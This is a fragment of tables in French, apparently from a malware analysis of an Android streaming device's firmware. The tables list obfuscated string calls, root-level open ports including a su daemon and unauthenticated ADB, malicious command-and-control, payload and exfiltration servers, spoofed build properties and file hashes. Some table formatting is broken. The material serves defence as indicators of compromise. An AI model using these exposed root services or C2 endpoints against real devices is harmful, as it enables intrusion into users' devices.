m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | Repli shell : lire l'adresse MAC (suffixe) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Sentinelle de fausse adresse MAC Android (API 23+) |
| Port | UID | Description |
|---|
| 65528 | root (0) | Démon su |
| 5555 | root (0) | ADB sans authentification |
| 7889/7890 | system (1000) | Service inconnu |
| 10012/10013 | system (1000) | Débogage usine ? |
| Serveur | Point d'accès | Fonction |
|---|
store-api.aodintech.com | POST /sign/app/list | Distribution d'applications |
sta.smartinnovate.net | GET /*.jar | Distribution de charge utile |
cdn-store.aodintech.com | GET /*.bpp | Téléchargement d'APK |
event-api.aodintech.com | POST /report | Télémétrie |
api.pixelpioneerss.com | POST /(random) | C2 SilentSDK RAT |
bur.thedynamicleap.com | `POST (GZIP+AES)`` | Exfiltration télémétrique SilentSDK |
pb-api.aodintech.com | GET /api/collections/... | Configuration publicitaire |
ota.triplesai.com:8080 | POST /V1/Ota/Check | Mises à jour du firmware |
api.ipdatacloud.com | GET /v2/query | Géolocalisation IP |
euads-o.api.leiniao.com | — | Serveur publicitaire secondaire |
connect.rom.miui.com | — | Télémétrie Xiaomi |
| Valeur usurpée |
|---|
| Valeur réelle |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| Date de build | — | mar. 22 avr. 15:20 CST 2025 |
| SHA-256 |
|---|
| Réponse du serveur C2 | 5df097591d694... | — |
| Notre APK décodé | 5df097591d694... | e5a193c31526a... |
| Analyse externe | — | e5a193c31526a... |